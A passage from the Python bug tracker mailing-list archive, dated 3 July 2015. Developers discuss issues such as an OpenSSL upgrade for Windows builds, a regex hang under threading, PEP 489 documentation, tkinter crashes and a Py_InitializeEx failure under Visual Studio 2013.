browser on Mac OSX, but I think I've seen this dysfunctional behavior on other platforms as well. I am filing this bug here because I was unable to find the place to file documentation related bugs.. ---------- messages: 246173 nosy: Gino Lee priority: normal severity: normal status: open title: online Python docs scroll in a godawful ugly fashion type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:20:29 2015 From: report at bugs.python.org (Gino Lee) Date: Fri, 03 Jul 2015 13:20:29 +0000 Subject: [issue24559] online Python docs scroll in a godawful ugly fashion In-Reply-To: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za> Message-ID: <1435929629.74.0.139297863964.issue24559@psf.upfronthosting.co.za> Gino Lee added the comment: This is most noticeable when you scroll toward the bottom of the document -- you can see the left panel jerkily repositioning itself in a most abrupt fashion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:28:02 2015 From: report at bugs.python.org (Stefan Krah) Date: Fri, 03 Jul 2015 13:28:02 +0000 Subject: [issue24559] online Python docs scroll in a godawful ugly fashion In-Reply-To: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za> Message-ID: <1435930082.41.0.319065517544.issue24559@psf.upfronthosting.co.za> Stefan Krah added the comment: Could you perhaps rephrase this "bug report"? ---------- nosy: +skrah resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:31:33 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 13:31:33 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <20150703133130.7742.46287@psf.io> Roundup Robot added the comment: New changeset 2a3c0ad52b99 by Stefan Krah in branch '2.7': Issue #24543: Use AC_LINK instead of AC_COMPILE in order to prevent false https://hg.python.org/cpython/rev/2a3c0ad52b99 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:33:02 2015 From: report at bugs.python.org (Stefan Krah) Date: Fri, 03 Jul 2015 13:33:02 +0000 Subject: [issue24559] online Python docs scroll in a godawful ugly fashion In-Reply-To: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za> Message-ID: <1435930382.7.0.266885170182.issue24559@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- nosy: -skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:37:07 2015 From: report at bugs.python.org (Stefan Krah) Date: Fri, 03 Jul 2015 13:37:07 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435930627.51.0.301313273567.issue24543@psf.upfronthosting.co.za> Stefan Krah added the comment: Fixed in 2.7, 3.5 and default. Thanks everyone for the comments. ---------- assignee: -> skrah components: +Build resolution: -> fixed stage: -> resolved status: open -> closed type: -> compile error versions: +Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:19:55 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 14:19:55 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435933195.94.0.902215461373.issue24546@psf.upfronthosting.co.za> R. David Murray added the comment: OK, so we don't know what caused the OPs original problem, and at the moment we don't have enough info to figure it out. Serge, you'll have to find some way to get more information on exactly what is failing in order for this issue to make progress. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:20:13 2015 From: report at bugs.python.org (Christopher Gurnee) Date: Fri, 03 Jul 2015 14:20:13 +0000 Subject: [issue23974] random.randrange() biased output In-Reply-To: <1429211399.3.0.0363933708398.issue23974@psf.upfronthosting.co.za> Message-ID: <1435933213.6.0.561315425727.issue23974@psf.upfronthosting.co.za> Christopher Gurnee added the comment: Option 3 of course wasn't my first choice (given how small the patch is and how minimal its potential negative impact), but it's certainly better than allowing an issue to linger in limbo. Thank you, all. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:27:27 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 14:27:27 +0000 Subject: [issue24555] Python logic error when deal with re and muti-threading In-Reply-To: <1435904415.54.0.666966497229.issue24555@psf.upfronthosting.co.za> Message-ID: <1435933647.31.0.273925509024.issue24555@psf.upfronthosting.co.za> R. David Murray added the comment: If you re-post your bug information in a plain text and/or test program format it might get faster attention. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:33:46 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 14:33:46 +0000 Subject: [issue24556] Getopt overwrites variables unexpectedly In-Reply-To: <1435915935.53.0.130423360276.issue24556@psf.upfronthosting.co.za> Message-ID: <1435934026.11.0.60713677107.issue24556@psf.upfronthosting.co.za> R. David Murray added the comment: This behavior is correct: rdmurray at session:~>getopt a:b:c -a value1 -b value2 -cbanana -a value1 -b value2 -c -b anana -- ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:35:29 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 14:35:29 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435934129.05.0.0611110472908.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: There was an email, though I don't remember whether it was a detailed one. I'll take notes as I work through it and write something up or contribute them to whoever is writing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:46:42 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 14:46:42 +0000 Subject: [issue24558] shutil.copytree with symlinks=True opens vulnerabilities In-Reply-To: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za> Message-ID: <1435934802.98.0.427822686575.issue24558@psf.upfronthosting.co.za> R. David Murray added the comment: I don't understand your workaround (how is that different from just using the default value of symlinks?) It sounds like what you are reporting is that copystat is incorrectly setting permissions on a file a symlink points to instead of on the symlink itself (in whatever sense the latter is even meaningful)? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 16:52:38 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 14:52:38 +0000 Subject: [issue24559] online Python docs scroll in a godawful ugly fashion In-Reply-To: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za> Message-ID: <1435935158.14.0.0864356852782.issue24559@psf.upfronthosting.co.za> R. David Murray added the comment: This scrolling behavior has been in place for quite some time without other complaints. I think perhaps your browser is broken :) ---------- nosy: +ezio.melotti, r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:11:53 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 15:11:53 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435936313.94.0.0309497739331.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: I assume we use svn+ssh:// for this? I can't ssh into svn.python.org with my usual key, so I'm guessing it needs to be set up on there. Who is best to contact about that? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:12:04 2015 From: report at bugs.python.org (yac) Date: Fri, 03 Jul 2015 15:12:04 +0000 Subject: [issue24560] codecs.StreamReader doesn't work with nonblocking streams: TypeError: can't concat bytes to NoneType Message-ID: <1435936324.39.0.622709208254.issue24560@psf.upfronthosting.co.za> New submission from yac: File "/usr/lib64/python3.4/codecs.py", line 490, in read data = self.bytebuffer + newdata TypeError: can't concat bytes to NoneType if size < 0: newdata = self.stream.read() else: newdata = self.stream.read(size) # decode bytes (those remaining from the last call included) data = self.bytebuffer + newdata if self.stream is nonblocking, it's read will return None (py3, py2 raises IOError(EGAIN)). Simple `if newdata is None: return None` should fix that I guess ---------- components: Unicode messages: 246186 nosy: ezio.melotti, haypo, yac priority: normal severity: normal status: open title: codecs.StreamReader doesn't work with nonblocking streams: TypeError: can't concat bytes to NoneType versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:18:23 2015 From: report at bugs.python.org (SpaceOne) Date: Fri, 03 Jul 2015 15:18:23 +0000 Subject: [issue24558] shutil.copytree with symlinks=True opens vulnerabilities In-Reply-To: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za> Message-ID: <1435936703.01.0.431298947021.issue24558@psf.upfronthosting.co.za> SpaceOne added the comment: argh. sorry. I did not read the following lines in my environment which caused this by a recursive chown. ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:19:50 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 15:19:50 +0000 Subject: [issue24558] shutil.copytree with symlinks=True opens vulnerabilities In-Reply-To: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za> Message-ID: <1435936790.43.0.418836425791.issue24558@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- resolution: rejected -> not a bug stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:51:38 2015 From: report at bugs.python.org (bee13oy) Date: Fri, 03 Jul 2015 15:51:38 +0000 Subject: [issue24555] Python logic error when deal with re and muti-threading In-Reply-To: <1435904415.54.0.666966497229.issue24555@psf.upfronthosting.co.za> Message-ID: <1435938698.78.0.15393660912.issue24555@psf.upfronthosting.co.za> bee13oy added the comment: #Python logic error when deal with re and muti-threading ##Bug Description When use re and multi-threading it will trigger the bug. Bug type: `Logic Error` Test Enviroment: * `Windows 7 SP1 x64 + python 3.4.3` * `Linux kali 3.14-kali1-amd64 + python 2.7.3 ` -----------------------------Normal Case------------------------ - 1. main-thread: join(timeout), wait for sub-thread finished - - 2. sub-thread: while(1), an infinite loop - ---------------------------------------------------------------- Test Code: #!/usr/bin/python __author__ = 'bee13oy' import re import threading timeout = 2 source = "(.*(.)?)*bcd\\t\\n\\r\\f\\a\\e\\071\\x3b\\$\\\\\?caxyz" def run(source): while(1): print("test1") def handle(): try: t = threading.Thread(target=run,args=(source,)) t.setDaemon(True) t.start() t.join(timeout) print("thread finished...It's an normal case!\n") except: print("exception ...\n") handle() +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -----------------------------Bug Case----------------------------------------------------------------------------- - 1. main-thread: join(timeout), wait for sub-thread finished - - 2. sub-thread: 1)we construct the special pattern "(.*(.)?)*bcd\\t\\n\\r\\f\\a\\e\\071\\x3b\\$\\\\\?caxyz" - 2)regexp.search() can't deal with it, and hang up - 3)join(timeout), and the sub-thread was over time, at this time, main-thread should have got - the control of the program. But it didn't. - ------------------------------------------------------------------------------------------------------------------ POC: #!/usr/bin/python __author__ = 'bee13oy' import re import os import threading timeout = 2 source = "(.*(.)?)*bcd\\t\\n\\r\\f\\a\\e\\071\\x3b\\$\\\\\?caxyz" def run(source): regexp = re.compile(r''+source+'') sgroup = regexp.search(source) def handle(): try: t = threading.Thread(target=run,args=(source,)) t.setDaemon(True) t.start() t.join(timeout) print("finished...\n") except: print("exception ...\n") handle() +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ---------------------------------------------------------------- - Bug Analyze - ---------------------------------------------------------------- When we use Python multithreading, and use `join(timeout)` to wait until the **thread terminates** or **timed out**. 1. In normal case, I run a while() in sub-thread, the main thread will get the control of the program after the sub-thread is timed out. 2. In our POC, even the sub-thread timed out, the main thread still can't execute continue. After analyzing, I found the main thread trapped into an infinite loop. At first, it will run into the sub-thread, but it can't end normally. At this time, join(timeout) will wait for the sub-thread return or timed out, and try to call timed out function in order that main thread can get the control of the program. The bug is that the sub-thread was into an infinite loop and the main-thread was into an infinite loop too, which causes the program to be hang up. By analyzing the source code of Python, we found that: - sub-thread is into an infinite loop (code block 0) - main-thread is into an infinite loop (code block 1) -----------------------------code block 0---------------------------------- - the following code is where sub-thread trapped into an infinite loop: - --------------------------------------------------------------------------- the following code is where the sub-thread trapped into an **infinite loop**: ``` LOCAL(Py_ssize_t) SRE(match)(SRE_STATE* state, SRE_CODE* pattern, int match_all) { SRE_CHAR* end = (SRE_CHAR *)state->end; Py_ssize_t alloc_pos, ctx_pos = -1; Py_ssize_t i, ret = 0; Py_ssize_t jump; unsigned int sigcount=0; SRE(match_context)* ctx; SRE(match_context)* nextctx; TRACE(("|%p|%p|ENTER\n", pattern, state->ptr)); DATA_ALLOC(SRE(match_context), ctx); ctx->last_ctx_pos = -1; ctx->jump = JUMP_NONE; ctx->pattern = pattern; ctx->match_all = match_all; ctx_pos = alloc_pos; ..... /* Cycle code which will never return*/ for (;;) { ++sigcount; if ((0 == (sigcount & 0xfff)) && PyErr_CheckSignals()) RETURN_ERROR(SRE_ERROR_INTERRUPTED); switch (*ctx->pattern++) { case SRE_OP_MARK: /* set mark */ /* */ TRACE(("|%p|%p|MARK %d\n", ctx->pattern, ctx->ptr, ctx->pattern[0])); ..... } ``` -----------------------------code block 1---------------------------------- - the following code is where main-thread trapped into an infinite loop: - --------------------------------------------------------------------------- static void take_gil(PyThreadState *tstate) { int err; if (tstate == NULL) Py_FatalError("take_gil: NULL tstate"); err = errno; MUTEX_LOCK(gil_mutex); if (!_Py_atomic_load_relaxed(&gil_locked)) goto _ready; /*Cycle code which will never return*/ while (_Py_atomic_load_relaxed(&gil_locked)) { int timed_out = 0; unsigned long saved_switchnum; saved_switchnum = gil_switch_number; COND_TIMED_WAIT(gil_cond, gil_mutex, INTERVAL, timed_out); /* If we timed out and no switch occurred in the meantime, it is time to ask the GIL-holding thread to drop it. */ if (timed_out && _Py_atomic_load_relaxed(&gil_locked) && gil_switch_number == saved_switchnum) { SET_GIL_DROP_REQUEST(); } } ..... } ---------- Added file: http://bugs.python.org/file39853/poc&bug_detail.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 17:55:13 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 15:55:13 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435938913.8.0.623388123219.issue24432@psf.upfronthosting.co.za> Antoine Pitrou added the comment: For SVN access, I think it's probably Martin or perhaps Benjamin. Apparently svn.python.org still lives on the old Europe-based infrastructure... Perhaps it would be good to switch the externals repo to hg, actually? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 18:04:15 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 16:04:15 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1435938913.8.0.623388123219.issue24432@psf.upfronthosting.co.za> Message-ID: Zachary Ware added the comment: Antoine Pitrou added the comment: > For SVN access, I think it's probably Martin or perhaps Benjamin. Benjamin was the one who set up my access. > Perhaps it would be good to switch the externals repo to hg, actually? Moving away from svn.python.org has been on my to-figure-out list for some time, but like instructions for the devguide, that hasn't happened yet either. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:12:02 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 17:12:02 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150703171159.122971.825@psf.io> Roundup Robot added the comment: New changeset cb1aafc9ad7e by Yury Selivanov in branch '3.5': Issue #24400: Resurrect inspect.isawaitable() https://hg.python.org/cpython/rev/cb1aafc9ad7e New changeset a14f6a70d013 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24400) https://hg.python.org/cpython/rev/a14f6a70d013 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:13:37 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 17:13:37 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435943617.08.0.304450452261.issue24400@psf.upfronthosting.co.za> Yury Selivanov added the comment: > I think we should add "inspect.isawaitable()", and have it pass for *anything* that can be used in an await expression (whether that's by implementing the Awaitable protocol, or due to special casing at the interpreter level). I agree. I've committed the change. Larry, please make sure that the latest patch lands in 3.5beta3. It's really important. ---------- nosy: +larry resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:20:29 2015 From: report at bugs.python.org (Matthew Barnett) Date: Fri, 03 Jul 2015 17:20:29 +0000 Subject: [issue24555] Python logic error when deal with re and muti-threading In-Reply-To: <1435904415.54.0.666966497229.issue24555@psf.upfronthosting.co.za> Message-ID: <1435944029.2.0.8748220704.issue24555@psf.upfronthosting.co.za> Matthew Barnett added the comment: Your regex is a pathological case: it suffers from catastrophic backtracking and can take a long time to finish. The other problem is that the re module never releases the GIL, so while it's performing the search in the low-level C code, other Python threads don't get a chance to run. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:36:04 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:36:04 +0000 Subject: [issue24518] json.dumps should accept key function for ``sort_keys`` In-Reply-To: <1435359583.87.0.439013044096.issue24518@psf.upfronthosting.co.za> Message-ID: <1435944964.12.0.102011088.issue24518@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Catherine, if you are going to continue contributing patches, which we hope you do, please sign the PSF Contribution Agreement. https://www.python.org/psf/contrib/ https://www.python.org/psf/contrib/contrib_form/ It would be needed if this patch were to be used, but I presume Bob would import the patch from simplejson instead. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:38:57 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:38:57 +0000 Subject: [issue24520] Stop using deprecated floating-point environment functions on FreeBSD In-Reply-To: <1435417703.06.0.0329828025601.issue24520@psf.upfronthosting.co.za> Message-ID: <1435945137.41.0.737768946227.issue24520@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:41:35 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 17:41:35 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435945294.99.0.696013063833.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: The advantage of svn for externals is that nobody needs the history and most people don't need a full enlistment. A hg setup should probably be one repo per project per version, and I'm not sure that's a great idea. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:42:30 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 17:42:30 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435945350.19.0.922440589898.issue24458@psf.upfronthosting.co.za> Eric Snow added the comment: Sorry I didn't get a review in before. Since subinterpreters and multi-phase initialization are on my mind, I have a couple questions: Should there be a note in the "Single-phase initialization" section (perhaps at the top of the section) that encourages use of multi-phase initialization? Would it be worth demonstrating how a module might be verified to work with subinterpreters (as indicated in the multi-phase section)? An example with a brief main function would likely be sufficient. If it's not obvious how to do it then module authors may not consider it worth the trouble. If all goes well then subinterpreters will be exposed in Python in 3.6 which will make such testing much easier. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:43:02 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 17:43:02 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435945382.87.0.0945015119246.issue24458@psf.upfronthosting.co.za> Eric Snow added the comment: What is the level of impact of the callback problem? Of the 4 scenarios in [1], it seems to me like #1 (C callbacks w/o a module reference) would be the most common. However, can't that be addressed by adjusting the API, so it would only be a big problem in the case of a public C-API for the module (where backward-compatibility is a concern)? #3 (classes have no reference to the module) sounds like the most problematic but how common a problem is it practice? It may be worth including an explicit note in the multi-phase section on the scenarios that currently don't lend themselves well to multi-phase initialization. It would also be great to indicate how to work around those issues (or the cases where for now it's better to just use single-phase initialization). FWIW, the matter ties in directly to the work I'm doing with subinterpreters right now. [1] https://mail.python.org/pipermail/import-sig/2015-April/000959.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:46:02 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:46:02 +0000 Subject: [issue22810] tkinter: "alloc: invalid block:" after askopenfilename In-Reply-To: <1415316246.92.0.943780326563.issue22810@psf.upfronthosting.co.za> Message-ID: <1435945562.16.0.633155372983.issue22810@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Tomas Nordin reported on #24524 (will close as dup) that a similar script crashes python 2.7.9 on Linux debian. ---------- nosy: +terry.reedy versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:47:45 2015 From: report at bugs.python.org (Vitaly Murashev) Date: Fri, 03 Jul 2015 17:47:45 +0000 Subject: [issue24561] [VS2013] Py_InitializeEx causes fatal error being from winnt-service Message-ID: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za> New submission from Vitaly Murashev: [Affects Windows only] Brief description (after analysis in debugger): Py_InitializeEx fails inside internal call: 1. if (initstdio() < 0) Py_FatalError( "Py_Initialize: can't initialize sys standard streams"); 2. inside initstdio(): if (!is_valid_fd(fd)) { std = Py_None; Py_INCREF(std); } else { // ===> is_valid_fd() passed and we come here std = create_stdio(iomod, fd, 0, "", encoding, errors); if (std == NULL) goto error; // ===> this goto leads to fatal error 3. is_valid_fd(int fd) /// => JFI: fd=0 { int dummy_fd; if (fd < 0 || !_PyVerify_fd(fd)) return 0; dummy_fd = dup(fd); /// ==>> dup() WORKS well if (dummy_fd < 0) return 0; close(dummy_fd); return 1; } 4. Let's Look whats going in create_stdio(): Modules\_io\fileio.c static int fileio_init(PyObject *oself, PyObject *args, PyObject *kwds) { ... if (fd >= 0) { if (check_fd(fd)) goto error; /// => fail is here 5. Let's have a look at check_fd(): static int check_fd(int fd) { #if defined(HAVE_FSTAT) /// => yes, it is defined for Windows struct stat buf; if (!_PyVerify_fd(fd) || (fstat(fd, &buf) < 0 && errno == EBADF)) { PyObject *exc; char *msg = strerror(EBADF); exc = PyObject_CallFunction(PyExc_OSError, "(is)", EBADF, msg); PyErr_SetObject(PyExc_OSError, exc); Py_XDECREF(exc); return -1; } #endif return 0; } ---------- components: IO, Interpreter Core, Windows messages: 246199 nosy: paul.moore, steve.dower, tim.golden, vmurashev, zach.ware priority: normal severity: normal status: open title: [VS2013] Py_InitializeEx causes fatal error being from winnt-service type: crash versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:56:31 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:56:31 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1435946191.79.0.945866689876.issue24524@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This should be closed as duplicate of #22810. Tracker malfunctioning right now. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:56:56 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:56:56 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1435946216.9.0.283925825153.issue24524@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:58:29 2015 From: report at bugs.python.org (Vitaly Murashev) Date: Fri, 03 Jul 2015 17:58:29 +0000 Subject: [issue24561] [VS2013] Py_InitializeEx causes fatal error being from winnt-service In-Reply-To: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za> Message-ID: <1435946309.12.0.917330552695.issue24561@psf.upfronthosting.co.za> Vitaly Murashev added the comment: More details: previously Python3.4.3 was compiled in my environment using compiler from VisualStudio-2005 and everything worked well. The crash has come right after changing compiler to the one from VisualStudio-2013 So something definitely changed inside Microsoft runtime implementation. For unknown reason when winnt-service is running, its std file handles 0,1,2 can be duplicated using dup() but fstat() fails ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 19:59:39 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 17:59:39 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1435946379.16.0.48990306737.issue24524@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Will not accept superseder ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:02:52 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 18:02:52 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1435946572.88.0.300531039207.issue24524@psf.upfronthosting.co.za> Terry J. Reedy added the comment: On Windows 7, no problem on either 2.7.10 or 3.5.0b2 (running from Command Prompt so would see message is there were one). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:04:40 2015 From: report at bugs.python.org (Vitaly Murashev) Date: Fri, 03 Jul 2015 18:04:40 +0000 Subject: [issue24561] [VS2013] Py_InitializeEx causes fatal error being from winnt-service In-Reply-To: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za> Message-ID: <1435946680.95.0.266408844118.issue24561@psf.upfronthosting.co.za> Vitaly Murashev added the comment: patch suggested ---------- keywords: +patch Added file: http://bugs.python.org/file39854/pythonrun.c.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:06:51 2015 From: report at bugs.python.org (Vitaly Murashev) Date: Fri, 03 Jul 2015 18:06:51 +0000 Subject: [issue24561] [VS2013] Py_InitializeEx causes fatal error being called from winnt-service In-Reply-To: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za> Message-ID: <1435946811.63.0.364610705179.issue24561@psf.upfronthosting.co.za> Changes by Vitaly Murashev : ---------- title: [VS2013] Py_InitializeEx causes fatal error being from winnt-service -> [VS2013] Py_InitializeEx causes fatal error being called from winnt-service _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:14:27 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 18:14:27 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1435947267.45.0.0235212645453.issue24524@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- superseder: -> tkinter: "alloc: invalid block:" after askopenfilename _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:14:43 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 18:14:43 +0000 Subject: [issue22810] tkinter: "alloc: invalid block:" after askopenfilename In-Reply-To: <1415316246.92.0.943780326563.issue22810@psf.upfronthosting.co.za> Message-ID: <1435947283.65.0.598356617538.issue22810@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- nosy: +tomnor _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 20:21:43 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 18:21:43 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435947703.43.0.72025525686.issue24432@psf.upfronthosting.co.za> Larry Hastings added the comment: I just wanna say, thanks everybody for tackling this. Here's hoping it makes it into 3.5 beta 3! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:10:38 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 19:10:38 +0000 Subject: [issue24561] [VS2013] Py_InitializeEx causes fatal error being called from winnt-service In-Reply-To: <1435945665.32.0.485913142675.issue24561@psf.upfronthosting.co.za> Message-ID: <1435950638.07.0.474185519457.issue24561@psf.upfronthosting.co.za> Steve Dower added the comment: See #17797 ---------- resolution: -> duplicate status: open -> closed superseder: -> Visual C++ 11.0 reports fileno(stdin) == 0 for non-console program _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:17:20 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 19:17:20 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: 